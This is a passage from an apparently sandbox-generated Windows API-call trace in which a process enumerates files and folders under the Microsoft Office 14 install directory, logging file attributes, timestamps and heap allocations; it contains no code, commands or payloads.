lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0069.243] GetLastError () returned 0x12 [0069.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029760) returned 1 [0069.243] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0069.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10296d8) returned 1 [0069.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029650) returned 1 [0069.244] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0069.244] GetLastError () returned 0x12 [0069.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0069.244] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5610) returned 1 [0069.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0069.244] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0069.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0069.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.244] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0069.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1055bc0 [0069.244] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1055bc0, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1055bc0, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0069.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1055bc0) returned 1 [0069.245] NtClose (Handle=0x18c) returned 0x0 [0069.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0069.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0069.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5610 [0069.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0069.245] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0069.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.303] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.303] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="")) returned 1 [0069.304] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.304] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0069.305] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0069.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f930 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f950 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.306] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.306] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f970 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c8f0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.307] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.307] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f990 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c978 [0069.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="")) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="")) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap 